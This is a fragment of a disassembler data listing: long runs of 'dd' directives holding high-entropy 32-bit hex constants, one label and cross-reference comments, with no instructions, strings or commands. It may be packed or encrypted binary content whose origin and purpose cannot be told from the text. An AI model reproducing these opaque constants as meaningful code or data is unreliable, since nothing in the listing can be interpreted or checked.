		dd 7C121DFBh, 201C6066h, 8D3CC4Bh, 90CED06h, 618C59Dh
		dd 0E6AC0642h, 7C00295Ah, 6556D90Eh, 376280BDh,	6D08BCDDh
		dd 0D9B6C821h, 35486B00h, 7141AC9Eh, 45C61C79h,	33568787h
		dd 4EE3C03Ch, 99C01DFDh, 5946371Ch, 602B03E4h, 0E829B48Bh
		dd 6D5EC2E0h, 2917FE30h, 0B09B577Ch, 884A06D6h,	8A29AFAh
		dd 205E7230h, 719B6F5Bh, 79370022h, 38BE92E1h, 901784Eh
		dd 701C6AE7h, 0F18007C4h, 7515B3A6h, 20CA99Fh, 86185E9h
		dd 0C721C001h, 90B415ABh, 0AAAE600h, 0F6B5D96Bh, 5B44301Ah
		dd 5122B3B9h, 9C29C616h, 157700EAh, 95E053AAh, 0D21FCF06h
		dd 75C8C56Bh, 2DC3315Fh, 0D81EA1D8h, 393CBD4Ch,	0CC7C7EE0h
		dd 3E8AAC00h, 255030B0h, 7AF90083h, 552FEE32h, 110015FDh
		dd 0CA8AD93Fh, 1472A0Dh, 0F8256278h, 802B1C99h,	0F0DF7328h
		dd 424AF7h, 0A39A5503h,	23882637h, 3EAFEE07h, 7316306Fh
		dd 0C7D80058h, 85625F2Fh, 591DF8E1h, 4830966Ch,	0C85832h
		dd 21698AD3h, 35787F30h, 6A3EE20Eh, 554680F9h, 7DFF834h
		dd 24842C91h, 0B489C36Bh, 0F00294A1h, 837CF381h, 8F387E26h
		dd 8564C903h, 29683AADh, 9C23C001h, 5163742Dh, 58D4B48h
		dd 0DFFA5290h, 614A6071h, 0EC449406h, 0AF6CFC0Dh, 0E4C8A9C5h
		dd 0F4C403B7h, 0EDD01A61h, 98F21807h, 3E338859h, 1B5EA0AAh
		dd 0EF67057Ah, 4176CBBBh, 0DEA7FAACh, 0D360803Ah, 0EBBD5685h
		dd 453B3F22h, 1193EA00h, 95A289B4h, 0C6E1E600h,	0A80791DEh
		dd 0A5BC0E28h, 0E9A0ABB0h, 24D4CB6h, 488ECB0Eh,	75809CD9h
		dd 8350BADBh, 21030F8Ch, 0B0017F0Fh, 0F4C16184h, 0B400EEF5h
		dd 0B6F2D6A6h, 2D84D39h, 7F78C0FAh, 0D64020B8h,	0B91C0FF3h
		dd 3C40E627h, 474FC7AEh, 0DDC50F4Dh, 9280AA4Ch,	7AD5A614h
		dd 0E4EB6300h, 0D8B99AD0h, 0DB77004Fh, 27B5DDC9h, 743FDAFBh
		dd 0D6CC0073h, 52D0572Bh, 987B44h, 0D1AEE72Dh, 0D3FDDAF8h
		dd 0CEFEE00Fh, 99B42192h, 0C0C1FBDCh, 0E9D7DDD4h, 5C0562F8h
		dd 0F6012042h, 9D4F859Eh, 0F1FBFC94h, 0AC29C164h, 12B2EB21h
		dd 0D135111Bh, 10580296h, 0F788B898h, 87C6889Bh, 5D088489h
		dd 42C33CA1h, 70114414h, 50848B08h, 62F03C5Fh, 0FF1CA189h
		dd 24AAB622h, 8EBC21ABh, 1E082991h, 0E8C0518Bh,	5AF64995h
		dd 0ED93068Ch, 9339F4Bh, 4CF89C0Bh, 5CB58316h, 654298A7h
		dd 7A180FAFh, 78A0B14Bh, 3D61B856h, 71008C78h, 0D38904E4h
		dd 0DBA341h, 0D2075308h, 0FF15645Dh, 7360BE00h,	790BE995h
		dd 6D080EB2h, 809DFCC9h, 0CA7D9AC4h, 2DEA32ADh,	0E9D58400h
		dd 0B304BCE5h, 0F9A30095h, 5B035672h, 9000B3Eh,	2E6A8FD0h
		dd 1333C5h, 86550515h, 5304E981h, 8227290Fh, 3996064h
		dd 176A0D3h, 0E22F262h,	0D07E2FE0h, 94003DB8h, 315930F8h
		dd 3B49942h, 45D64804h,	81D80574h, 8C00A358h, 225E64DAh
		dd 62492Fh, 9AE3F002h, 38C963DCh, 112F603h, 0D803C808h
		dd 653FE7h, 0AFD4823Ah,	0FE90CB51h, 698EF801h, 4FCC07Dh
		dd 793AC02Bh, 2200CC8Fh, 0FB826B1Bh, 6244D3Ch, 7C278659h
		dd 7100295Fh, 0D2992F64h, 4C76DFEBh, 570FA9A9h,	3700DEF4h
		dd 99068F55h, 308D30F5h, 5007774h, 6D1D1FAEh, 5F5484h
		dd 5076AA7Fh, 42E24ED6h, 21000174h, 0DD67BB13h,	7C8DF88h
		dd 16295B0Ah, 2DEDB049h, 600E2E9h, 0CE825DB2h, 131B4Dh
		dd 0B88594AAh, 0A26EF53Fh, 7C1F2A00h, 38E3C044h, 8ADB620Bh
		dd 1EC265CCh, 0F67C80D7h, 3C87F7D9h, 0B5A40D60h, 0D07600C0h
		dd 947517B3h, 0EE61C200h, 2A28C193h, 0FCC30740h, 5090929Dh
		dd 0F538A3A4h, 39C4151Dh, 2D101903h
		db 27h
byte_520045	db 99h,	0B6h, 7		; DATA XREF: ___:00437A28o
					; ___:00437A40o
		dd 0F88046E8h, 17F6F2h,	3BB3DD68h, 0BE834230h, 7E516900h
		dd 0CF736DEFh, 0EB0E3FCDh, 21717Fh, 41E46F5Fh, 438489B8h
		dd 0A5BFB100h, 8F923B40h, 2C5602F4h, 62E5CA68h,	0DDAB0040h
		dd 94A11700h, 0CBDBC05Dh, 0B56700BEh, 0E43586EBh, 0C744DC4h
		dd 0F97BE200h, 94C586Ch, 38783EB9h, 99772800h, 83EAE051h
		dd 0F65BE300h, 4AB14D5Eh, 8CDA0018h, 749EFDFh, 6B00FBF4h
		dd 0B480B30Dh, 1E1EDE5Eh, 2B90B8h, 3AD9DF95h, 0C9124425h
		dd 0DF00C548h, 3D5F79DBh, 0A7F46Ah, 2D3C8472h, 8B89B9BAh
		dd 1A2A5400h, 0BB3B95E3h, 0E7A2008Fh, 6B4656D8h, 810057BCh
		dd 0F31CB1A8h, 1D6A5h, 0E437CC78h, 0E9E5F6F2h, 0E6CAAE00h
		dd 41D9BA1Bh, 0F43A5042h, 0E19E001Eh, 5655CB08h, 5D00E96Bh
		dd 4FED9243h, 1EB22h, 5ABBD2Dh,	42AE46A4h, 211C381Eh, 20DBBF8Eh
		dd 3E8C932Bh, 0F84B0F86h, 3D63EF1Fh, 388072BBh,	7B1D08B8h
		dd 0A7404954h, 2E093599h, 0DB180089h, 878365EDh, 2F003CAAh
		dd 0E254F2Dh, 4803B5h, 476E08DAh, 7C6013EBh, 0F05FBE00h
		dd 730B89A1h, 49CF009Dh, 6CD4A271h, 8DD699Fh, 8BD56741h
		dd 0E0FAFE9Eh, 0CD252Ch, 0BF1BAF5Ch, 0DAE8E55Eh, 0AC5A5500h
		dd 0ABAE5302h, 7A7503BDh, 96E1A301h, 0D3071803h, 0B8AF64D2h
		dd 75A48Eh, 0E93FB539h,	0F02F9D61h, 0E4418F03h,	90468AE1h
		dd 9F6252h, 0D348C66Eh,	4F91E319h, 812B3A07h, 0F440C823h
		dd 333D8DFh, 0E8E0DD04h, 2800D1BBh, 0CEF796A4h,	730DFF8Bh
		dd 6DD400CFh, 4EF04582h, 4A005177h, 0FA1FA0A1h,	2F5EB54h
		dd 175DD421h, 0DC0A207h, 0E83C4ACDh, 0B00FDAEh,	2F9AB246h
		dd 0E40F4D33h, 0DC2D0E08h, 1D814560h, 80CD8ED5h, 7BAD4E04h
		dd 7E0E90h, 64F7B5BDh, 0EFA4F802h, 72871600h, 67C7D44h
		dd 0AD5D484Dh, 0B8584B00h, 0C2707321h, 37C89150h, 825B6800h
		dd 9855AAA3h, 5AA90541h, 1D17A49Dh, 5F640395h, 76C0239Eh
		dd 0EF009C99h, 269493DCh, 0F2969DD5h, 8D9201D3h, 0B2EAE2D2h
		dd 0F2C850F5h, 0C1073A77h, 4319AA82h, 50A4CEB0h, 387200D5h
		dd 0D882DDCh, 410046A2h, 0FC0C644Dh, 385C8110h,	1B00694Eh
		dd 0A99CFA8Bh, 0D600AE7Fh, 64CE4793h, 0D86E3Dh,	0CA18F3B0h
		dd 955E6C75h, 0F11FA11Dh, 160E740h, 0CF4628h, 5499D79Fh
		dd 9B6D0591h, 0F4D8FA50h, 8370FD3Eh, 6980B1F8h,	0E5BEF879h
		dd 7C4500E2h, 9C5FD081h, 3005B0Fh, 0EFED67Fh, 5E3BC0h
		dd 46374F64h, 80CA4E7Eh, 0B7E29000h, 0CBA9672Ah, 1BFF08Ah
		dd 106370B5h, 0C0506E66h, 0D9009AF6h, 0BD0E75C8h, 0A77433h
		dd 0E5CE9C8Dh, 913A0F5Fh, 62EC2706h, 28CA08h, 0AD82F1FFh
		dd 833BD867h, 0D3E88800h, 0AE7DF6FAh, 0E33D00ECh, 0C9F102E9h
		dd 2D034F49h, 639ADAA1h, 52948075h, 9B7900A7h, 70BCAD53h
		dd 0B5064DAFh, 0C9863839h, 88000E8h, 0A9103748h, 3100559Ch
		dd 5838B4CAh, 0DAD827h,	0C80C461Eh, 5C808B77h, 37C34A0Fh
		dd 1AD1A601h, 513B0724h, 10E4F086h, 0B7F67C32h,	0D313AD00h
		dd 87313F12h, 9C0A04E9h, 8084EC7Dh, 4E5D2CA0h, 71FBF03h
		dd 0A0BAB278h, 22A92E3h, 0CC63C55Bh, 82407AFCh,	2C26546Ch
		dd 1304E521h, 0ACD4C8E7h, 160BDB00h, 0E51271h, 0CCCBFA89h
		dd 0DCED62B0h, 0B687C400h, 8E5EE36Ch, 9343006Fh, 32CE8525h
		dd 7107CA36h, 0A6AF1CE2h, 111D4C60h, 0C7CF2891h, 0BE1F0088h
		dd 0B0578C5Bh, 51008E59h, 88C410AFh, 1BF6D15h, 0F86CC5ECh
		dd 0D0772005h, 0C707511Ch, 0EB53E8BEh, 0ED3EE630h, 5C21006Dh
		dd 9C1CB57Dh, 8B00E430h, 0DEE5D981h, 15FFD84h, 0C0384A8Eh
		dd 502ADA20h, 718F6EBCh, 9B8C8800h, 0B77CF639h,	0C6EE0092h
		dd 2F9743BDh, 4C0F2CB6h, 743D9823h, 38B58184h, 0DC8779DAh
		dd 80D6452Bh, 58AF8AEFh, 85D12600h, 0CB4B3E1h, 0CCF9168Eh
		dd 24640208h, 0FC4093BFh, 0F7006433h, 0F17E3E45h, 27D358Bh
		dd 0DB889126h, 607D9954h, 0B279292h, 0B095DA0Bh, 0E8008954h
		dd 0A291E19Ah, 701600C9h, 0E6A6CE98h, 0FD48C28Eh, 0D52077FCh
		dd 0C01D003Eh, 6FD3F0AEh, 76003F45h, 1ABE7448h,	9AFE4A24h
		dd 932A00A0h, 0C79E33D6h, 2730014Bh, 6C4218D2h,	2D7012BDh
		dd 0B17401F6h, 0C469819Fh, 0E6094878h, 80535C39h, 0D715AF6Fh
		dd 89D8C059h, 0EE881851h, 7E4A14Dh, 9E42F6C6h, 8E4C6980h
		dd 9A5A02AFh, 0F3FEA3B9h, 43B42860h, 0C61FEB00h, 809F3EA4h
		dd 8CBA002Bh, 996A72BFh, 0CA002119h, 4826442Ah,	3EAA40h
		dd 6DA132E3h, 0BE4987C3h, 52987500h, 436BABBBh,	10B72FBh
		dd 0F6EE1CADh, 0E4884426h, 0CC0072EDh, 9CBCECC6h, 5E77BE3h
		dd 0B3784340h, 8918D088h, 0BC30DD74h, 3FAC09A9h, 63348DCh
		dd 1846D00h, 0F9CCE3C9h, 0CED9C005h, 0B903BF13h, 0C01CC530h
		dd 57B1210h, 0D68876AEh, 2B64C8D8h, 0D318C51Ch,	0D9E75D05h
		dd 9576C900h, 15DF9473h, 0B098B8D0h, 0C1681909h, 67A58C00h
		dd 7CB87DDCh, 961B0100h, 8D1170A8h, 32EEFAh, 1F0D07B1h
		dd 0FC222162h, 68000B79h, 0A58D099Fh, 2D65114h,	0FF8EC472h
		dd 77C02F74h, 9D0E2EDBh, 80C0F259h, 5B80C391h, 3E0A2A63h
		dd 0D1ED04A4h, 0C0DCB395h, 58B0C108h, 0FDFEF815h, 59F504A8h
		dd 0D747A53Fh, 9B5442EBh, 1AD88F00h, 0E09D3D91h, 0E1928200h
		dd 81A5754Bh, 56C409C0h, 7B1C74h, 982E83EEh, 51367CA0h
		dd 3771D800h, 3E7ED652h, 0B59C0587h, 10B834h, 65220EA8h
		dd 0B717397Dh, 2C006689h, 32DD562Fh, 0A6CD0FB9h, 0AE40BA16h
		dd 0C79AA302h, 427C840Fh, 0F31420BDh, 80D2055Bh, 3601CB65h
		dd 18404BA1h, 1AFC46A6h, 0BADAF606h, 6CC60058h,	29254DECh
		dd 59F609B9h, 0E17DC8A2h, 49809EF2h, 0BE0B0761h, 4D487C02h
		dd 0D89F006Ch, 70065C45h, 0AC3200F9h, 0CEDFA472h, 80003B43h
		dd 5993C641h, 735484h, 690524CDh, 6FFF981Ah, 0DD8DB82Eh
		dd 0BA6AC700h, 8BE3B6h,	0E1C98531h, 0E6095FE9h,	7C6F48h
		dd 0FE292B4Fh, 0FE8453C3h, 0C11700DEh, 8CD3D8Bh, 9B129241h
		dd 0C8055F2Bh, 0A2C07847h, 3AA53AF3h, 2A031187h, 3127F4CCh
		dd 0CD0D0850h, 0C426732Eh, 45FFAC0Eh, 0FCC0A483h, 0EADA6D7h
		dd 0E25DC2B1h, 0E63B0B01h, 823430F9h, 0E09B492Eh, 68337487h
		dd 63DE3170h, 906C03A1h, 0EDAA8F7Eh, 14F291B0h,	0E009EA01h
		dd 82997F52h, 26C19630h, 1ECC46E7h, 9BCA8022h, 72910338h
		dd 16E8305h, 0C004E2A3h, 0DB4019E3h, 349EEB65h,	0A9FB1617h
		dd 697A1C42h, 0FF9448F2h, 0EF7C18A8h, 926111E6h, 0F0F4F7Bh
		dd 4016764Ah, 66DD6F71h, 0D2D80026h, 32C3281Dh,	67F0BC09h
		dd 44126890h, 8040A8E6h, 16E0249Eh, 0DABB1D22h,	786C115h
		dd 3095D388h, 0C6074813h, 49B4C090h, 76F29D60h,	3F940CBAh
		dd 0C1A0759Fh, 66CD0C07h, 1C60A8C7h, 0D8A7F2h, 0E4F3ED15h
		dd 0E90EA921h, 0B7782200h, 89986857h, 8D200252h, 8B066635h
		dd 0C1B9AE80h, 0C37869ECh, 4A1DAB8h, 226BE1CEh,	44610178h
		dd 5635CFEBh, 22303D31h, 42F6706h, 79985037h, 0AF026D80h
		dd 1641D61Bh, 1D11E08Ch, 0B41250F6h, 0E4172034h, 0E1C2DF00h
		dd 0CE180F7Eh, 0B02500D1h, 73A791ACh, 600A3046h, 0C0EB4DCFh
		dd 0EF691184h, 9AA56442h, 6CCCCC60h, 5FA1B8A0h,	53952F07h
		dd 0F8500C87h, 600DE217h, 1BADF8A5h, 867BCB0Fh,	0ED6F0704h
		dd 34C0DE80h, 1F217B99h, 40AAB78Dh, 9D094274h, 5603D6A6h
		dd 2DF164E2h
		dd 3F8001C4h, 0F5ECFB1Eh, 0F4FC710Fh, 0A43C310Eh, 200C8062h
		dd 59072697h, 3FFF76A7h, 0E7808719h, 8C35431Eh,	37008849h
		dd 3C414E8Dh, 0E83B169Dh, 0F20B81Bh, 0EDC579E1h, 0E053040h
		dd 0E879E65Fh, 714654Ch, 9A1419DDh, 8D48A0F9h, 44709Bh
		dd 698EF363h, 0D7EE798Bh, 0D4BBA004h, 67C04EC0h, 0EC27E6C7h
		dd 24774C02h, 0E8662Eh,	80E28EE1h, 73544F69h, 35F703ACh
		dd 182E0ACh, 6700F4ACh,	0EE71A65Ch, 5D1A6Ch, 0F13CDFD8h
		dd 220FF665h, 42398664h, 1F888D8h, 0B219E4D0h, 0D38F98h
		dd 34ECA9h, 2C4E1272h, 8CD0B31Dh, 70C434A1h, 9AA01621h
		dd 0AC1F4AE2h, 6E0346B0h, 0F8C7D612h, 130DABh, 75A57FE3h
		dd 5F4C7976h, 350F9305h, 408153B3h, 41E4BD2Ch, 80E14A32h
		dd 0D0E247F0h, 59437900h, 95816EBBh, 4178014Bh,	8388CAB6h
		dd 8EA40E1h, 0B200B74Eh, 0D7A6C017h, 16ECE3Dh, 7FE7D29Ah
		dd 7086B5B4h, 7D00C5FCh, 5E78A424h, 12F58Eh, 9C7C2CFCh
		dd 0E1585371h, 0B922C11Eh, 855CE26Dh, 0A6C3D7FBh, 0F10CD882h
		dd 97900089h, 15C8345Ch, 257F74D6h, 0C6FC3014h,	760071C8h
		dd 5E362A7h, 5D576Eh, 991074BDh, 8CF478A9h, 5CBA4Ch, 0FDED0A13h
		dd 0E8ECAC04h, 0F0B80708h, 0D1ADFF0Bh, 80E9356Eh, 93E501D8h
		dd 2A7232E4h, 0D43826h,	558C69AFh, 0C0775D67h, 0E16BB609h
		dd 82604087h, 8183C39h,	28178480h, 47F72332h, 0DC387D1Eh
		dd 76009D1Eh, 0B0045490h, 957A67h, 0D5B911Bh, 0CE82876Dh
		dd 0D07C5534h, 2C532DC0h, 0BD5717E7h, 9BDC008Eh, 70D97167h
		dd 8AAEE817h, 9EDFCE00h, 0FCB75C9h, 3B8F8947h, 0DD6BA900h
		dd 0C3049B90h, 63F8B155h, 0E72E35C0h, 0D5F200E8h, 0D30D701Ch
		dd 8C0091EFh, 5996B10h,	3D445616h, 8E9D36CFh, 33B14031h
		dd 2ABAB3B5h, 78F11C13h, 0C1774003h, 808B19h, 0B729DF9h
		dd 0A8C51420h, 5C44600Fh, 0B3404047h, 3AB42DB0h, 7B0088CBh
		dd 0AF19AAA6h, 0EB01AE96h, 1AB7F03Ch, 0D452111Dh, 0B908489Bh
		dd 6CE2F1h, 0FBA3EB33h,	7A127069h, 1AF48F7Fh, 3E8C7502h
		dd 0C0A9B935h, 2A74ACh,	20C2ED7Ch, 75E4B839h, 5E21A700h
		dd 0D4BAE5C5h, 0CA37005Ah, 43EB14Bh, 7700C227h,	0E9D99ED0h
		dd 17CC343Dh, 0D4402Ch,	0B1AE6140h, 0B000673Fh,	32F1B733h
		dd 273FC03h, 0FF262E3Dh, 0C8A0507Ah, 0FD19CBE5h, 8C923Dh
		dd 0BFEC51E6h, 1371066h, 0D93E7BB8h, 0F1DCB1D0h, 0C8F0703Ch
		dd 3C00A15Ah, 0FA61F51h, 14494DEh, 90A5B147h, 0E2583059h
		dd 95240E0Eh, 1556C04Ch, 4C88C762h, 3E1CE481h, 34854001h
		dd 65DED233h, 5ACFE3F2h, 0FF5AC039h, 51078A7h, 85259281h
		dd 3001EB6Dh, 6A342B5Ch, 7B1D880h, 0BF88C3F4h, 0A270F00h
		dd 0EF15C478h, 0B979015Fh, 70F94891h, 49C5C87Bh, 75C86A00h
		dd 7D4AC15Eh, 97FD00D2h, 58A00635h, 60C06BCCh, 0AAF8B496h
		dd 1CBF615h, 0EDF1E165h, 0F0DACC99h, 5C00F4F0h,	0B02C983Fh
		dd 1BD060Dh, 0B9FD459Fh, 89600836h, 7CC9D98h, 80F9B44Ah
		dd 480958B4h, 3C6C16D4h, 1F6440BFh, 0FC71024Dh,	6B094090h
		dd 0A0F77936h, 9009ADFCh, 50680F0Eh, 0CAC030A5h, 0C86311E1h
		dd 0BFA8F6D8h, 347303C7h, 983AA308h, 217AD3E9h,	519540BCh
		dd 0DE37D721h, 0A0F0903Bh, 5B43426Fh, 1C7C60EAh, 9B60D360h
		dd 0A768B294h, 0F0863052h, 1EF0289h, 0E0B0403Eh, 9C9FDE10h
		dd 5258001Ch, 6985248Ch, 6E89B2Ch, 0A7A06C13h, 0BA40F800h
		dd 247364B7h, 3FF44754h, 7DBC3880h, 9875DB04h, 5EBDD712h
		dd 0B25C3800h, 30310927h, 22D85223h, 70007D59h,	0B00DAF25h
		dd 1B9FF99h, 0C61FE70Eh, 0FC509F39h, 900B731h, 1B348DDCh
		dd 0EE904CCFh, 8B0A00ABh, 0EB4A073Bh, 0EFE46F43h, 0BB4B7602h
		dd 80C8F7BAh, 647E6990h, 1D90FA8Dh, 399832Bh, 9BD43D22h
		dd 20D08899h, 1F0EA9A4h, 0C751B0A0h, 60C9B871h,	172A7D8h
		dd 693BBEDBh, 0F06CB0DEh, 0B49881FAh, 94B2F600h, 388E3701h
		dd 936500FDh, 21BA8057h, 0C60963C8h, 0C0DD0732h, 1DAD048Ch
		dd 401297D5h, 0A5A98111h, 923FD950h, 878985CEh,	0E000695Dh
		dd 0CBE2362Eh, 0DE0A0529h, 0D0D26B43h, 8AE069A4h, 6200D7E0h
		dd 0F9F59842h, 7A8112Ch, 54804EC4h, 0B6E510EBh,	6A605E86h
		dd 999FFE78h, 6883A84h,	0AD185789h, 0F8A96C00h,	0B400B0A3h
		dd 40EC038Ah, 0F20863h,	581988B2h, 62BB426Ch, 6A2A1000h
		dd 3007EEAFh, 35DC00B9h, 9DBE75CAh, 0ABF660B4h,	0BF3EF000h
		dd 81ED9C0Bh, 0F479007Fh, 0B5280663h, 771DC803h, 24416096h
		dd 0B9FE58D1h, 0F653DF60h, 0E5E2015Dh, 36325ED4h, 7FE04138h
		dd 0C992EB56h, 5550900h, 0F10E07EEh, 4078E34Ah,	7D749C41h
		dd 0EFE85E02h, 4289618Ch, 0E05C40B5h, 0E9D800CFh, 87DCBC13h
		dd 0DE00BA12h, 0D0B509A2h, 5021144Ch, 56E092h, 0DB2474D3h
		dd 8183B097h, 84CD0400h, 0A4237F9Ch, 762E647h, 6057786h
		dd 108A801Eh, 8700B62Dh, 68D816A6h, 74C20F7Ah, 28E82E2Ch
		dd 3A180070h, 80B073F0h, 91013E98h, 3C8A53B4h, 3870F929h
		dd 0C2FB2667h, 0B1CB0BC2h, 3A283E01h, 0B0E2CC4Eh, 0ED8EAC00h
		dd 80039C06h, 373C0058h, 0C3819B96h, 24EC5C34h,	97002CB2h
		dd 9EF7E30Bh, 0E24C43h,	7B098B7Dh, 51BB94Dh, 0ABCDBE00h
		dd 0B68C3199h, 9FE400ACh, 0EE37E4Ah, 0DC9EC303h, 850B8988h
		dd 0C035CD57h, 63EAF984h, 0D81A0C00h, 1DE5CC46h, 8018003Fh
		dd 71A6703Eh, 6F008EDBh, 4CC81655h, 0E0D73864h,	3977009Fh
		dd 0CB34D0F7h, 0E12ED55Eh, 0A300F706h, 0BCEA2F5Fh, 39B900A1h
		dd 0A6B5B39Ch, 11FA10ADh, 47A0380Fh, 6A5141DEh,	0C420600Bh
		dd 55D90054h, 8A1A133Fh, 0A9262BDCh, 0AB844042h, 8100BFFFh
		dd 32F257DFh, 7997D000h, 0B229480h, 0EFE47Ch, 0FFB5F836h
		dd 0A11DD2DAh, 82FB7F00h, 45870912h, 0C83B0996h, 0F18185C0h
		dd 28A35E60h, 0EFF0698h, 2E692A3Fh, 49367Eh, 78DA13B1h
		dd 543CEA40h, 0A3FE2883h, 8BCD0207h, 0ED7167E1h, 86D8C901h
		dd 0EB728Ah, 0B6510865h, 0A12C72BFh, 0F27A47Fh,	0DF640160h
		dd 2AE534E0h, 64E860h, 4DC54672h, 5F35C03Bh, 7D007EECh
		dd 0FFD682E6h, 2967FEh,	0B5482D66h, 37C0F7D9h, 8D0F36F0h
		dd 80E73EF8h, 9A9EEFADh, 60E60C56h, 0F24040DCh,	4F990102h
		dd 6094F5D4h, 6E74728h,	40AAD2C6h, 9F0010E3h, 7765E1C7h
		dd 1C52593h, 3F68701Eh,	407BE6B7h, 0C4529B8Ch, 73FE241Fh
		dd 93307400h, 7146B15h,	12A75E91h, 27FF212Fh, 71A450C7h
		dd 0D4EE4F3Eh, 0F751F30Eh, 0DC9C01A9h, 6DE4C605h, 31E2009Fh
		dd 1E4F6890h, 7F5D47FDh, 64BE0ADCh, 0F20D249Ch,	0F3F0C019h
		dd 49810C98h, 7C297772h, 0B7F57600h, 1413E3E4h,	83CD028Ah
		dd 18ED5165h, 72A00CC3h, 0AD003676h, 9FE6C42Dh,	37DF7Ah
		dd 0FCB273B0h, 67E23168h, 0FB37800h, 4B9FC785h,	20FB00F6h
		dd 6ADD1237h, 0A902E92Ah, 0E07C235Bh, 7FD1609Dh, 0DB673B57h
		dd 0EC59970Fh, 7B12C0BCh, 0FFF3C919h, 1E7E0C00h, 0E2B799C5h
		dd 49FD160Dh, 0C6AC28h,	80FBF9C4h, 4A895Ch, 5FBBC994h
		dd 1EE4318Dh, 155DE00h,	5464883Ch, 146139EFh, 600096BBh
		dd 3D48A449h, 9D001290h, 4DCFD506h, 9A677733h, 0B002079Ch
		dd 6F5FA45Bh, 0F0D66047h, 9768881h, 0D739EC03h,	0C93BD0C0h
		dd 0A6D81E27h, 1F1772F2h, 40CC78BFh, 0D9182890h, 190032E2h
		dd 731A376Fh
		dd 5C2FEF9Fh, 0B300DE4Ch, 34EA5472h, 4B00C1BFh,	0A3F02153h
		dd 3D28D2A9h, 0D1004F51h, 394E3EA6h, 0CB008727h, 0EBA3ECE4h
		dd 0FBFFAFDh, 627EA9CEh, 3E1BD700h, 0BB0473FBh,	0E420D26Eh
		dd 95E23892h, 78FB5804h, 57C86623h, 8B508060h, 13E50087h
		dd 7E5B2506h, 6790A5B8h, 0CE289960h, 742A75C1h,	0BC683C6Ch
		dd 8253C980h, 1E71956Ah, 85F1420h, 29FEDAC7h, 0C847410h
		dd 54115E65h, 51011118h, 3188BDD0h, 84C895Fh, 29726413h
		dd 0DC1925DCh, 0C0085029h, 44386D44h, 4284BBBEh, 74C211A4h
		dd 11B78411h, 882171A8h, 28788A14h, 0E07814A0h,	25089C89h
		dd 0EC13FDh, 249EC0A1h,	0FF5C9C49h, 26C66700h, 54A6865Fh
		dd 82A30244h, 4CC4B8F3h, 78AFB5C0h, 0CAC6B000h,	0D72651D6h
		dd 0FF6F0731h, 0B112A00Bh, 0EC81B62Ch, 0D900E1A2h, 11A38E6Bh
		dd 17F2335Dh, 546958h, 2289DB5Bh, 950FFE97h, 4105F9h, 8B034556h
		dd 5E390037h, 0EA55A63Fh, 660EF0C2h, 0E0E1B0BFh, 8AF7CFC0h
		dd 0F59E00C3h, 0A50539D1h, 6500B1BAh, 0A3E828C8h, 33E270h
		dd 0E956D29h, 5DC28A05h, 85D68738h, 383D52B7h, 5C2B66C7h
		dd 793A09D6h, 1D302C00h, 0FE0035E5h, 0E68612FBh, 420AFCh
		dd 361E88E7h, 99BF0B73h, 406BEC00h, 0C066BD3Ah,	0B6680032h
		dd 8151D32Ch, 6903578Eh, 0E5FB0FF2h, 33E3E088h,	0C58F0098h
		dd 160D0411h, 0E40227BEh, 0CF181455h, 3D6C48C4h, 0EA1C00E1h
		dd 0E9295A73h, 1A005D0Dh, 2F7D157Eh, 0C93CC8h, 0B3517F6Eh
		dd 6445C119h, 0B000B670h, 0E9D54BA0h, 1D0EF4E4h, 0CEFE491Fh
		dd 0F9C05BEEh, 0B55F094Dh, 0BD59DE07h, 0EB26A89Ah, 38960028h
		dd 17357CE2h, 1B00EDFBh, 3DCDB774h, 1431DDh, 0F3398B96h
		dd 62847CCFh, 9450E5E8h, 5458AF80h, 80C83EBDh, 0E375C213h
		dd 0F209EBh, 27F0D41Dh,	0CC4236E9h, 80C01A38h, 0A1908F5Eh
		dd 18918D12h, 0F06E96CBh, 0A62E855Fh, 0FE008E80h, 0A9938B9Ch
		dd 117D00C7h, 0DF47261Fh, 0A8039B9Eh, 6885F30Ch, 4F4DA840h
		dd 0CCD639F8h, 5CDEEE80h, 79C8BB33h, 22A1500h, 0F6B28867h
		dd 807B01C4h, 0CF47DE13h, 0AEBE8E4Eh, 0F82A6AE8h, 0A9F43C00h
		dd 0D061C5h, 0FD43E383h, 0C72403E2h, 8F2FD703h,	0B5503BB7h
		dd 0F52AA100h, 364442h,	53AADF51h, 778304B4h, 5CA51A01h
		dd 0D8D43178h, 262D7C20h, 3E480BDFh, 0F050AB07h, 7232D05Eh
		dd 1600FF4Dh, 65DE58B2h, 11E89B8h, 0FD2ABB03h, 24A11367h
		dd 72008B28h, 0EAB8D9F5h, 0D82D93h, 3EDB7115h, 0EB7E88C0h
		dd 9CD55707h, 44430BC4h, 32118009h, 5150013Fh, 0DC99D4Eh
		dd 0E5F0C3F8h, 0F3001D5Ah, 95014188h, 4B7E8A0h,	5616DAA7h
		dd 224080C9h, 2100D257h, 0E6D96135h, 0F73B3CDh,	92A6E7D8h
		dd 3DE5A0C0h, 6C00EE56h, 0F61EAF6Bh, 90CB45B3h,	5FA0008h
		dd 65F85193h, 0BB60833Eh, 98DB772Ch, 6BDF0075h,	7BF61F15h
		dd 3F0FF291h, 6FCBC294h, 0F07400D2h, 8F8D36h, 0D928460Ch
		dd 159D0E13h, 0C85284A0h, 6C03DD00h, 945ACC67h,	9C650108h
		dd 0FE77A4F2h, 0DCB9F53Eh, 3A1E1F10h, 32C31739h, 0E17A1314h
		dd 0F8C733DAh, 788359h,	2671F805h, 0B5CC54FCh, 723F4400h
		dd 0EE2797Eh, 58227409h, 0B000301Ah, 646AE145h,	0CB00FFC2h
		dd 2C1F9E70h, 3BE311h, 7CDE4697h, 9280557Eh, 89A8943Ah
		dd 0D379BFh, 95685CB4h,	8A3F07FFh, 3187DDF3h, 0FC1D64DFh
		dd 3400130Ch, 61EA4E73h, 263DB289h, 802C3E68h, 50987CC6h
		dd 0C1003226h, 701CA7BAh, 3F4EB4EDh, 0A4501044h, 1E6500E2h
		dd 8960464Ah, 400A022Eh, 0CBC98D39h, 0D721803Eh, 0C4BCA742h
		dd 0DB9E50ADh, 0D58600EDh, 0A87E3084h, 0E0003C1Ah, 161E2A18h
		dd 914744h, 67D0239Dh, 0A95373Dh, 0C08A1904h, 66C48482h
		dd 633306C0h, 0DA9C3D9Dh, 801CBAA4h, 50EA253Eh,	35002BE3h
		dd 65558628h, 71B34DDh,	97E87FE1h, 1005529Fh, 74D1D087h
		dd 0FB08C0F8h, 400310Dh, 0EEBC3690h, 11DAEFh, 6CB30F09h
		dd 8254E77Ah, 836B8B3Bh, 161C14F2h, 2BACF042h, 40EA0011h
		dd 254EA0FFh, 0EB0077A9h, 55922987h, 654AA37h, 963006C4h
		dd 3322B0D9h, 16272DE2h, 0DF00C7F8h, 0B03CF4A2h, 0CAA3ADh
